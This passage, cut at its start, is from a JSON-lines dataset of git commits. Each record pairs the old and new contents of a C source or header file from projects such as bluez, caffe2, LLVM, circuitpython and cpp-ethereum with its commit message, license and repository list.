func;\n\tdata->user_data = user_data;\n\tdata->timeout = t;\n\n\tdata->id = mainloop_add_timeout(t, timeout_callback, data,\n\t\t\t\t\t\t\ttimeout_destroy);\n\tif (!data->id) {\n\t\tfree(data);\n\t\treturn 0;\n\t}\n\n\treturn data->id;\n}\n\nvoid timeout_remove(unsigned int id)\n{\n\tif (id)\n\t\tmainloop_remove_timeout(id);\n}\n","subject":"Add timeout handling with mainloop support","message":"shared: Add timeout handling with mainloop support\n","lang":"C","license":"lgpl-2.1","repos":"ComputeCycles\/bluez,ComputeCycles\/bluez,pkarasev3\/bluez,silent-snowman\/bluez,pstglia\/external-bluetooth-bluez,pkarasev3\/bluez,pstglia\/external-bluetooth-bluez,pstglia\/external-bluetooth-bluez,silent-snowman\/bluez,ComputeCycles\/bluez,pstglia\/external-bluetooth-bluez,silent-snowman\/bluez,mapfau\/bluez,ComputeCycles\/bluez,pkarasev3\/bluez,mapfau\/bluez,mapfau\/bluez,mapfau\/bluez,pkarasev3\/bluez,silent-snowman\/bluez"}
{"commit":"903d83a74a10f6839b2a9a53d5912de9b3038902","old_file":"src\/drivers\/net\/stm32cube\/stm32f7cube_eth.h","new_file":"src\/drivers\/net\/stm32cube\/stm32f7cube_eth.h","old_contents":"\/**\n * @file\n *\n * @date 17.03.2017\n * @author Anton Bondarev\n *\/\n\n#ifndef STM32F7CUBE_ETH_H_\n#define STM32F7CUBE_ETH_H_\n\n#include <stm32f7xx_hal_conf.h>\n#include <stm32f7xx.h>\n#include <stm32f7xx_hal.h>\n#include <stm32f7xx_hal_eth.h>\n\n#define PHY_ADDRESS       0x00\n\n#endif \/* STM32F7CUBE_ETH_H_ *\/\n","new_contents":"\/**\n * @file\n *\n * @date 17.03.2017\n * @author Anton Bondarev\n *\/\n\n#ifndef STM32F7CUBE_ETH_H_\n#define STM32F7CUBE_ETH_H_\n\n#include <stm32f7xx_hal.h>\n\n#define PHY_ADDRESS       0x00\n\n#endif \/* STM32F7CUBE_ETH_H_ *\/\n","subject":"Build fix eth for stm32 f7","message":"drivers: Build fix eth for stm32 f7\n","lang":"C","license":"bsd-2-clause","repos":"embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox"}
{"commit":"50212adfb401ea0b48a0318675b57c470f1f3de6","old_file":"src\/shared.c","new_file":"src\/shared.c","old_contents":"#include <openssl\/conf.h>\n#include <openssl\/bio.h>\n#include <openssl\/evp.h>\n#include \"shared.h\"\n\nint un_base64\n(char *in, char **out, int **len)\n{\n\tBIO *bio, *b64;\n\n}\nbool saltystring_is_salty (\n","new_contents":"#include <openssl\/conf.h>\n#include <openssl\/bio.h>\n#include <openssl\/evp.h>\n#include \"shared.h\"\n\nint un_base64\n(char *in, char **out, int **len)\n{\n\tBIO *bio, *b64;\n\n}\n","subject":"Remove forgotten broken line of code lel","message":"Remove forgotten broken line of code lel\n","lang":"C","license":"bsd-3-clause","repos":"undesktop\/libopkeychain"}
{"commit":"817c3829c8c666d0438e3aca805ad998377c4730","old_file":"test\/suite\/bugs\/ifpp.c","new_file":"test\/suite\/bugs\/ifpp.c","old_contents":"","new_contents":"int f(int d)\n{\n    int i = 0, j, k, l;\n    if (d%2==0)\n        if (d%3==0)\n            i+=2;\n        else\n            i+=3;\n    if (d%2==0)\n    {\n        if (d%3==0)\n            i+=7;\n    }\n    else\n        i+=11;\n\n    l = d;\n    if (d%2==0)\n        while (l--)\n            if (1)\n              i+=13;\n            else\n              i+=17;\n    l = d;\n    \n    if (d%2==0)\n    {\n        while (l--)\n            if (1)\n              i+=21;\n    }\n    else\n        i+=23;\n\n    if (d==0)\n        i+=27;\n    else if (d%2==0)\n        if (d%3==0)\n            i+=29;\n        else if (d%5==0)\n            if (d%7==0)\n                i+=31;\n            else\n                i+=33;\n    return i;\n}\nint main()\n{\n  int i,k=0;\n  for(i=0;i<255;i++) \n  {\n    k+=f(i);\n  }\n  printf(\"Result: %d\\n\",k);\n}","subject":"Add another test for pretty printing if-then-else","message":"Add another test for pretty printing if-then-else\n\nIgnore-this: c0cab673ec9d716deb4154ae5599ed74\n\ndarcs-hash:20100720212917-c1f02-512056f55df6186193f854d96821b4a589d19d04\n","lang":"C","license":"bsd-3-clause","repos":"llelf\/language-c,llelf\/language-c,llelf\/language-c"}
{"commit":"75703388d0f8a32c3c7f15d11106d6815cdce33e","old_file":"AFToolkit\/AFToolkit.h","new_file":"AFToolkit\/AFToolkit.h","old_contents":"\/\/\n\/\/ Toolkit header to include the main headers of the 'AFToolkit' library.\n\/\/\n\n#import \"AFDefines.h\"\n#import \"AFLogHelper.h\"\n#import \"AFFileHelper.h\"\n#import \"AFPlatformHelper.h\"\n#import \"AFReachability.h\"\n#import \"AFKVO.h\"\n#import \"AFArray.h\"\n#import \"AFMutableArray.h\"\n#import \"NSBundle+Universal.h\"\n#import \"UITableViewCell+Universal.h\"\n#import \"AFDBClient.h\"\n#import \"AFView.h\"\n#import \"AFViewController.h\"","new_contents":"\/\/\n\/\/ Toolkit header to include the main headers of the 'AFToolkit' library.\n\/\/\n\n#import \"AFDefines.h\"\n#import \"AFLogHelper.h\"\n#import \"AFFileHelper.h\"\n#import \"AFPlatformHelper.h\"\n#import \"AFReachability.h\"\n#import \"AFKVO.h\"\n#import \"AFArray.h\"\n#import \"AFMutableArray.h\"\n#import \"NSBundle+Universal.h\"\n#import \"UITableViewCell+Universal.h\"\n#import \"UIView+Render.h\"\n#import \"AFDBClient.h\"\n#import \"AFView.h\"\n#import \"AFViewController.h\"","subject":"Add UIView+Render header to toolkit include.","message":"Add UIView+Render header to toolkit include.\n","lang":"C","license":"mit","repos":"mlatham\/AFToolkit"}
{"commit":"33bbb00cdc583af343bcabc53acb189252d38b6b","old_file":"caffe2\/utils\/threadpool\/pthreadpool_impl.h","new_file":"caffe2\/utils\/threadpool\/pthreadpool_impl.h","old_contents":"\/**\n * Copyright (c) 2016-present, Facebook, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef CAFFE2_UTILS_PTHREADPOOL_IMPL_H_\n#define CAFFE2_UTILS_PTHREADPOOL_IMPL_H_\n\n#include \"ThreadPoolCommon.h\"\n\n#ifndef CAFFE2_THREADPOOL_MOBILE\n#error \"mobile build state not defined\"\n#endif\n\n#if CAFFE2_THREADPOOL_MOBILE\n\nnamespace caffe2 {\n\nstruct ThreadPool;\n\n} \/\/ namespace caffe2\n\nextern \"C\" {\n\n\/\/ Wrapper for the caffe2 threadpool for the usage of NNPACK\nstruct pthreadpool {\n  pthreadpool(caffe2::ThreadPool* pool) : pool_(pool) {}\n  caffe2::ThreadPool* pool_;\n};\n\n} \/\/ extern \"C\"\n\n#endif \/\/ CAFFE2_THREADPOOL_MOBILE\n\n#endif  \/\/ CAFFE2_UTILS_PTHREADPOOL_IMPL_H_\n","new_contents":"\/**\n * Copyright (c) 2016-present, Facebook, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef CAFFE2_UTILS_PTHREADPOOL_IMPL_H_\n#define CAFFE2_UTILS_PTHREADPOOL_IMPL_H_\n\n#include \"ThreadPoolCommon.h\"\n\n#ifndef CAFFE2_THREADPOOL_MOBILE\n#error \"mobile build state not defined\"\n#endif\n\n#if CAFFE2_THREADPOOL_MOBILE\n\nnamespace caffe2 {\n\nclass ThreadPool;\n\n} \/\/ namespace caffe2\n\nextern \"C\" {\n\n\/\/ Wrapper for the caffe2 threadpool for the usage of NNPACK\nstruct pthreadpool {\n  pthreadpool(caffe2::ThreadPool* pool) : pool_(pool) {}\n  caffe2::ThreadPool* pool_;\n};\n\n} \/\/ extern \"C\"\n\n#endif \/\/ CAFFE2_THREADPOOL_MOBILE\n\n#endif  \/\/ CAFFE2_UTILS_PTHREADPOOL_IMPL_H_\n","subject":"Fix ThreadPool class\/struct forward declaration mixup","message":"Fix ThreadPool class\/struct forward declaration mixup\n\nSummary: `ThreadPool` is a class, but it is forward-declared as a struct, which produces an error when compiled with clang 5.\n\nReviewed By: Maratyszcza\n\nDifferential Revision: D6399594\n\nfbshipit-source-id: e8e81006f484b38e60389c659e9500ec9cfab731\n","lang":"C","license":"apache-2.0","repos":"Yangqing\/caffe2,caffe2\/caffe2,xzturn\/caffe2,davinwang\/caffe2,davinwang\/caffe2,Yangqing\/caffe2,Yangqing\/caffe2,davinwang\/caffe2,xzturn\/caffe2,xzturn\/caffe2,xzturn\/caffe2,Yangqing\/caffe2,Yangqing\/caffe2,xzturn\/caffe2,davinwang\/caffe2,davinwang\/caffe2"}
{"commit":"7a6b32904342e3006e6fb1a968068ca9c8e674fb","old_file":"Programs\/GUI\/Includes\/Manager\/SoundManager.h","new_file":"Programs\/GUI\/Includes\/Manager\/SoundManager.h","old_contents":"\/*************************************************************************\n> File Name: SoundManager.h\n> Project Name: Hearthstone++\n> Author: Chan-Ho Chris Ohk\n> Purpose: Sound manager of Hearthstone++ GUI program.\n> Created Time: 2018\/06\/05\n> Copyright (c) 2018, Chan-Ho Chris Ohk\n*************************************************************************\/\n#ifndef HEARTHSTONEPP_GUI_SOUND_MANAGER_H\n#define HEARTHSTONEPP_GUI_SOUND_MANAGER_H\n\n#include <SFML\/Audio\/Music.hpp>\n\n#include <optional>\n\nnamespace Hearthstonepp\n{\nclass SoundManager\n{\n public:\n    SoundManager(const SoundManager& other) = delete;\n    ~SoundManager() = delete;\n\n    static SoundManager* GetInstance();\n\n    \/\/! Play Music.\n    void PlayMusic(const char* musicFileName, bool isForceToPlay = false);\n\n    \/\/! Stop Music.\n    void StopMusic();\n\n    \/\/! Returns whether the music is playing.\n    bool IsMusicPlaying() const;\n\n    \/\/! Returns the name of the currently playing music.\n    std::string GetPlayingMusicName() const;\n\n private:\n    SoundManager() = default;\n\n    static SoundManager* m_instance;\n\n    sf::Music m_music;\n    std::string m_musicName;\n};\n}\n\n#endif","new_contents":"\/*************************************************************************\n> File Name: SoundManager.h\n> Project Name: Hearthstone++\n> Author: Chan-Ho Chris Ohk\n> Purpose: Sound manager of Hearthstone++ GUI program.\n> Created Time: 2018\/06\/05\n> Copyright (c) 2018, Chan-Ho Chris Ohk\n*************************************************************************\/\n#ifndef HEARTHSTONEPP_GUI_SOUND_MANAGER_H\n#define HEARTHSTONEPP_GUI_SOUND_MANAGER_H\n\n#include <SFML\/Audio\/Music.hpp>\n\nnamespace Hearthstonepp\n{\nclass SoundManager\n{\n public:\n    SoundManager(const SoundManager& other) = delete;\n    ~SoundManager() = delete;\n\n    static SoundManager* GetInstance();\n\n    \/\/! Play Music.\n    void PlayMusic(const char* musicFileName, bool isForceToPlay = false);\n\n    \/\/! Stop Music.\n    void StopMusic();\n\n    \/\/! Returns whether the music is playing.\n    bool IsMusicPlaying() const;\n\n    \/\/! Returns the name of the currently playing music.\n    std::string GetPlayingMusicName() const;\n\n private:\n    SoundManager() = default;\n\n    static SoundManager* m_instance;\n\n    sf::Music m_music;\n    std::string m_musicName;\n};\n}\n\n#endif","subject":"Fix compile error on MacOS (unsupported <optional>)","message":"Fix compile error on MacOS (unsupported <optional>)\n\n","lang":"C","license":"mit","repos":"Hearthstonepp\/Hearthstonepp,Hearthstonepp\/Hearthstonepp"}
{"commit":"02fa4f4e01ae24ac1507b3c86902a14ee2815319","old_file":"test\/FrontendC\/2008-11-11-AnnotateStructFieldAttribute.c","new_file":"test\/FrontendC\/2008-11-11-AnnotateStructFieldAttribute.c","old_contents":"","new_contents":"\/\/ RUN: %llvmgcc -c -emit-llvm %s -o - | llvm-dis | grep llvm.ptr.annotation | count 3\n\n#include <stdio.h>\n\n\/* Struct with element X being annotated *\/\nstruct foo {\n    int X  __attribute__((annotate(\"StructAnnotation\")));\n    int Y;\n    int Z;\n};\n\n\nvoid test(struct foo *F) {\n    F->X = 42;\n    F->Z = 1;\n    F->Y = F->X;\n}\n\n","subject":"Add test case for ptr annotation.","message":"Add test case for ptr annotation.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@59142 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap"}
{"commit":"6ebe8168c19687c6227ac41127f1e7c02a46e4d9","old_file":"tests\/regression\/27-inv_invariants\/09-invariant-worsen.c","new_file":"tests\/regression\/27-inv_invariants\/09-invariant-worsen.c","old_contents":"","new_contents":"\/\/ extracted from 01\/22\n#include <assert.h>\n\nint main() {\n  int a = 1;\n  int b = 1;\n  int *x;\n  int rnd;\n\n  if (rnd)\n    x = &a;\n  else\n    x = &b;\n\n  assert(*x == 1);\n  b = 2;\n\n  assert(a == 1);\n  if (*x != 0) { \/\/ TODO: invariant makes less precise!\n    assert(a == 1); \/\/ TODO\n  }\n  return 0;\n}","subject":"Add test where base invariant worsens precision","message":"Add test where base invariant worsens precision\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"225ed70ce8cda3ba1922063e3bdb95204d30e853","old_file":"v6502\/main.c","new_file":"v6502\/main.c","old_contents":"\/\/\n\/\/  main.c\n\/\/  v6502\n\/\/\n\/\/  Created by Daniel Loffgren on H.25\/03\/28.\n\/\/  Copyright (c) 平成25年 Hello-Channel, LLC. All rights reserved.\n\/\/\n\n#include <stdio.h>\n#include \"cpu.h\"\n#include \"mem.h\"\n\nint main(int argc, const char * argv[])\n{\n\tprintf(\"Allocating virtual memory of size 2k…\\n\");\n\t\n    return 0;\n}\n\n","new_contents":"\/\/\n\/\/  main.c\n\/\/  v6502\n\/\/\n\/\/  Created by Daniel Loffgren on H.25\/03\/28.\n\/\/  Copyright (c) 平成25年 Hello-Channel, LLC. All rights reserved.\n\/\/\n\n#include <stdio.h>\n#include <string.h>\n\n#include \"cpu.h\"\n#include \"mem.h\"\n#include \"core.h\"\n\nint main(int argc, const char * argv[])\n{\n\tprintf(\"Creating 1 virtual CPU…\\n\");\n\tv6502_cpu *cpu = v6502_createCPU();\n\t\n\tprintf(\"Allocating virtual memory of size 2k…\\n\");\n\tcpu->memory = v6502_createMemory(2048);\n\t\n\tchar command[10];\n\tfor (;;) {\n\t\tprintf(\"] \");\n\t\tscanf(\"%s\", command);\n\t\t\n\t\tif (!strncmp(command, \"!\", 2)) {\n\t\t\tv6502_printCpuState(cpu);\n\t\t}\n\t}\n\t\n    return 0;\n}\n\n","subject":"Create a CPU and start REPLing","message":"Create a CPU and start REPLing\n\ngit-svn-id: dd14d189f2554b0b3f4c2209a95c13d2029e3fe8@6 96dfbd92-d197-e211-9ca9-00110a534b34\n","lang":"C","license":"mit","repos":"RyuKojiro\/v6502"}
{"commit":"19ed9ff12a7623717beacf55ad0b7b02a9cecace","old_file":"src\/gop\/hp.h","new_file":"src\/gop\/hp.h","old_contents":"","new_contents":"\/* Copyright 2016 Vanderbilt University\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n\n\/** \\file\n* Autogenerated public API\n*\/\n\n#ifndef ACCRE_GOP_HP_PRIVATE_H_INCLUDED\n#define ACCRE_GOP_HP_PRIVATE_H_INCLUDED\n\n#include <apr_time.h>\n#include <gop\/visibility.h>\n#include <gop\/types.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nint gop_op_sync_exec_enabled(gop_op_generic_t *gop);\nvoid gop_op_sync_exec(gop_op_generic_t *gop);\nvoid gop_op_submit(gop_op_generic_t *gop);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* ^ ACCRE_GOP_HP_PRIVATE_H_INCLUDED ^ *\/\n","subject":"Add missing internal Hportal header","message":"Add missing internal Hportal header\n","lang":"C","license":"apache-2.0","repos":"accre\/lstore,tacketar\/lstore,accre\/lstore,tacketar\/lstore,accre\/lstore,tacketar\/lstore,tacketar\/lstore,accre\/lstore"}
{"commit":"4cc2cf0e8fc8584a8bd564c21f5448433a7f6a31","old_file":"atmel-samd\/rgb_led_colors.h","new_file":"atmel-samd\/rgb_led_colors.h","old_contents":"#define BLACK   0x000000\n#define GREEN   0x001000\n#define BLUE    0x000010\n#define CYAN    0x001010\n#define RED     0x100000\n#define ORANGE  0x100800\n#define YELLOW  0x101000\n#define PURPLE  0x100010\n#define WHITE   0x101010\n\n#define BOOT_RUNNING BLUE\n#define MAIN_RUNNING GREEN\n#define SAFE_MODE    YELLOW\n#define ALL_DONE     GREEN\n#define REPL_RUNNING WHITE\n\n#define ACTIVE_WRITE 0x200000\n\n#define ALL_GOOD_CYCLE_MS 2000u\n\n#define LINE_NUMBER_TOGGLE_LENGTH 300u\n#define EXCEPTION_TYPE_LENGTH_MS 1000u\n\n#define THOUSANDS WHITE\n#define HUNDREDS  BLUE\n#define TENS      YELLOW\n#define ONES      CYAN\n\n#define INDENTATION_ERROR GREEN\n#define SYNTAX_ERROR      CYAN\n#define NAME_ERROR        WHITE\n#define OS_ERROR          ORANGE\n#define VALUE_ERROR       PURPLE\n#define OTHER_ERROR       YELLOW\n","new_contents":"#define BLACK   0x000000\n#define GREEN   0x003000\n#define BLUE    0x000030\n#define CYAN    0x003030\n#define RED     0x300000\n#define ORANGE  0x302000\n#define YELLOW  0x303000\n#define PURPLE  0x300030\n#define WHITE   0x303030\n\n#define BOOT_RUNNING BLUE\n#define MAIN_RUNNING GREEN\n#define SAFE_MODE    YELLOW\n#define ALL_DONE     GREEN\n#define REPL_RUNNING WHITE\n\n#define ACTIVE_WRITE 0x200000\n\n#define ALL_GOOD_CYCLE_MS 2000u\n\n#define LINE_NUMBER_TOGGLE_LENGTH 300u\n#define EXCEPTION_TYPE_LENGTH_MS 1000u\n\n#define THOUSANDS WHITE\n#define HUNDREDS  BLUE\n#define TENS      YELLOW\n#define ONES      CYAN\n\n#define INDENTATION_ERROR GREEN\n#define SYNTAX_ERROR      CYAN\n#define NAME_ERROR        WHITE\n#define OS_ERROR          ORANGE\n#define VALUE_ERROR       PURPLE\n#define OTHER_ERROR       YELLOW\n","subject":"Increase the status LED brightness a bit so that newer DotStars aren't super dim. This will make status NeoPixels a bit bright but one can use samd.set_rgb_status_brightness() to dim them.","message":"Increase the status LED brightness a bit so that newer DotStars\naren't super dim. This will make status NeoPixels a bit bright\nbut one can use samd.set_rgb_status_brightness() to dim them.\n","lang":"C","license":"mit","repos":"adafruit\/circuitpython,adafruit\/micropython,adafruit\/micropython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/micropython,adafruit\/circuitpython,adafruit\/micropython,adafruit\/micropython,adafruit\/circuitpython,adafruit\/circuitpython"}
{"commit":"961166443c193be490106684f3c29e894d21dcfd","old_file":"libevmjit\/Common.h","new_file":"libevmjit\/Common.h","old_contents":"#pragma once\n\n#include <vector>\n#include <boost\/multiprecision\/cpp_int.hpp>\n\nnamespace dev\n{\nnamespace eth\n{\nnamespace jit\n{\n\nusing byte = uint8_t;\nusing bytes = std::vector<byte>;\nusing u256 = boost::multiprecision::uint256_t;\nusing bigint = boost::multiprecision::cpp_int;\n\nstruct NoteChannel {};\t\/\/ FIXME: Use some log library?\n\nenum class ReturnCode\n{\n\tStop = 0,\n\tReturn = 1,\n\tSuicide = 2,\n\n\tBadJumpDestination = 101,\n\tOutOfGas = 102,\n\tStackTooSmall = 103,\n\tBadInstruction = 104,\n\n\tLLVMConfigError = 201,\n\tLLVMCompileError = 202,\n\tLLVMLinkError = 203,\n};\n\n\/\/\/ Representation of 256-bit value binary compatible with LLVM i256\n\/\/ TODO: Replace with h256\nstruct i256\n{\n\tuint64_t a;\n\tuint64_t b;\n\tuint64_t c;\n\tuint64_t d;\n};\nstatic_assert(sizeof(i256) == 32, \"Wrong i265 size\");\n\n#define UNTESTED assert(false)\n\n}\n}\n}\n","new_contents":"#pragma once\n\n#include <vector>\n#include <boost\/multiprecision\/cpp_int.hpp>\n\nnamespace dev\n{\nnamespace eth\n{\nnamespace jit\n{\n\nusing byte = uint8_t;\nusing bytes = std::vector<byte>;\nusing u256 = boost::multiprecision::uint256_t;\nusing bigint = boost::multiprecision::cpp_int;\n\nstruct NoteChannel {};\t\/\/ FIXME: Use some log library?\n\nenum class ReturnCode\n{\n\tStop = 0,\n\tReturn = 1,\n\tSuicide = 2,\n\n\tBadJumpDestination = 101,\n\tOutOfGas = 102,\n\tStackTooSmall = 103,\n\tBadInstruction = 104,\n\n\tLLVMConfigError = 201,\n\tLLVMCompileError = 202,\n\tLLVMLinkError = 203,\n};\n\n\/\/\/ Representation of 256-bit value binary compatible with LLVM i256\n\/\/ TODO: Replace with h256\nstruct i256\n{\n\tuint64_t a = 0;\n\tuint64_t b = 0;\n\tuint64_t c = 0;\n\tuint64_t d = 0;\n};\nstatic_assert(sizeof(i256) == 32, \"Wrong i265 size\");\n\n#define UNTESTED assert(false)\n\n}\n}\n}\n","subject":"Fix some GCC initialization warnings","message":"Fix some GCC initialization warnings\n","lang":"C","license":"mit","repos":"expanse-project\/cpp-expanse,vaporry\/cpp-ethereum,yann300\/cpp-ethereum,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,PaulGrey30\/go-get--u-github.com-tools-godep,d-das\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,xeddmc\/cpp-ethereum,joeldo\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,vaporry\/evmjit,LefterisJP\/cpp-ethereum,anthony-cros\/cpp-ethereum,subtly\/cpp-ethereum-micro,anthony-cros\/cpp-ethereum,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,expanse-org\/cpp-expanse,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,smartbitcoin\/cpp-ethereum,vaporry\/webthree-umbrella,karek314\/cpp-ethereum,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,xeddmc\/cpp-ethereum,karek314\/cpp-ethereum,LefterisJP\/cpp-ethereum,PaulGrey30\/go-get--u-github.com-tools-godep,gluk256\/cpp-ethereum,eco\/cpp-ethereum,eco\/cpp-ethereum,expanse-org\/cpp-expanse,arkpar\/webthree-umbrella,d-das\/cpp-ethereum,programonauta\/webthree-umbrella,eco\/cpp-ethereum,d-das\/cpp-ethereum,gluk256\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,anthony-cros\/cpp-ethereum,d-das\/cpp-ethereum,subtly\/cpp-ethereum-micro,expanse-org\/cpp-expanse,subtly\/cpp-ethereum-micro,johnpeter66\/ethminer,d-das\/cpp-ethereum,karek314\/cpp-ethereum,smartbitcoin\/cpp-ethereum,xeddmc\/cpp-ethereum,johnpeter66\/ethminer,PaulGrey30\/go-get--u-github.com-tools-godep,joeldo\/cpp-ethereum,xeddmc\/cpp-ethereum,joeldo\/cpp-ethereum,LefterisJP\/cpp-ethereum,expanse-project\/cpp-expanse,subtly\/cpp-ethereum-micro,expanse-project\/cpp-expanse,vaporry\/cpp-ethereum,PaulGrey30\/go-get--u-github.com-tools-godep,anthony-cros\/cpp-ethereum,vaporry\/cpp-ethereum,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,expanse-project\/cpp-expanse,karek314\/cpp-ethereum,LefterisJP\/cpp-ethereum,xeddmc\/cpp-ethereum,expanse-project\/cpp-expanse,yann300\/cpp-ethereum,eco\/cpp-ethereum,smartbitcoin\/cpp-ethereum,yann300\/cpp-ethereum,yann300\/cpp-ethereum,expanse-org\/cpp-expanse,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,vaporry\/cpp-ethereum,karek314\/cpp-ethereum,subtly\/cpp-ethereum-micro,smartbitcoin\/cpp-ethereum,subtly\/cpp-ethereum-micro,d-das\/cpp-ethereum,vaporry\/cpp-ethereum,smartbitcoin\/cpp-ethereum,smartbitcoin\/cpp-ethereum,ethers\/cpp-ethereum,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,LefterisJP\/webthree-umbrella,PaulGrey30\/go-get--u-github.com-tools-godep,Sorceror32\/go-get--u-github.com-tools-godep,joeldo\/cpp-ethereum,LefterisJP\/webthree-umbrella,expanse-org\/cpp-expanse,gluk256\/cpp-ethereum,joeldo\/cpp-ethereum,gluk256\/cpp-ethereum,eco\/cpp-ethereum,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,programonauta\/webthree-umbrella,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,ethers\/cpp-ethereum,gluk256\/cpp-ethereum,xeddmc\/cpp-ethereum,expanse-org\/cpp-expanse,ethers\/cpp-ethereum,karek314\/cpp-ethereum,PaulGrey30\/go-get--u-github.com-tools-godep,ethers\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,joeldo\/cpp-ethereum,LefterisJP\/cpp-ethereum,LefterisJP\/cpp-ethereum,ethers\/cpp-ethereum,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,chfast\/webthree-umbrella,anthony-cros\/cpp-ethereum,vaporry\/evmjit,anthony-cros\/cpp-ethereum,expanse-project\/cpp-expanse,johnpeter66\/ethminer,gluk256\/cpp-ethereum,yann300\/cpp-ethereum,yann300\/cpp-ethereum,ethers\/cpp-ethereum,eco\/cpp-ethereum,vaporry\/cpp-ethereum"}
{"commit":"a59be15fe062229e4a5566d930186bf521c4d8c0","old_file":"include\/tilck\/kernel\/debug_utils.h","new_file":"include\/tilck\/kernel\/debug_utils.h","old_contents":"\/* SPDX-License-Identifier: BSD-2-Clause *\/\n\n#pragma once\n\n#include <tilck\/kernel\/paging.h>\n#include <tilck\/kernel\/hal.h>\n\nsize_t stackwalk32(void **frames, size_t count,\n                   void *ebp, pdir_t *pdir);\n\nvoid dump_stacktrace(void);\nvoid dump_regs(regs *r);\n\nvoid validate_stack_pointer_int(const char *file, int line);\n\n#ifdef DEBUG\n#  define DEBUG_VALIDATE_STACK_PTR() validate_stack_pointer_int(__FILE__, \\\n                                                                __LINE__)\n#else\n#  define DEBUG_VALIDATE_STACK_PTR()\n#endif\n\nvoid debug_qemu_turn_off_machine(void);\nvoid register_debug_kernel_keypress_handler(void);\nvoid init_extra_debug_features();\nvoid set_sched_alive_thread_enabled(bool enabled);\n","new_contents":"\/* SPDX-License-Identifier: BSD-2-Clause *\/\n\n#pragma once\n\n#include <tilck\/kernel\/paging.h>\n#include <tilck\/kernel\/hal.h>\n\nsize_t stackwalk32(void **frames, size_t count,\n                   void *ebp, pdir_t *pdir);\n\nvoid dump_stacktrace(void);\nvoid dump_regs(regs *r);\n\nvoid validate_stack_pointer_int(const char *file, int line);\n\n#if defined(DEBUG) && !defined(UNIT_TEST_ENVIRONMENT)\n#  define DEBUG_VALIDATE_STACK_PTR() validate_stack_pointer_int(__FILE__, \\\n                                                                __LINE__)\n#else\n#  define DEBUG_VALIDATE_STACK_PTR()\n#endif\n\nvoid debug_qemu_turn_off_machine(void);\nvoid register_debug_kernel_keypress_handler(void);\nvoid init_extra_debug_features();\nvoid set_sched_alive_thread_enabled(bool enabled);\n","subject":"Make DEBUG_VALIDATE_STACK_PTR() a no-op in unit tests","message":"[debug] Make DEBUG_VALIDATE_STACK_PTR() a no-op in unit tests\n","lang":"C","license":"bsd-2-clause","repos":"vvaltchev\/experimentOs,vvaltchev\/experimentOs,vvaltchev\/experimentOs,vvaltchev\/experimentOs"}
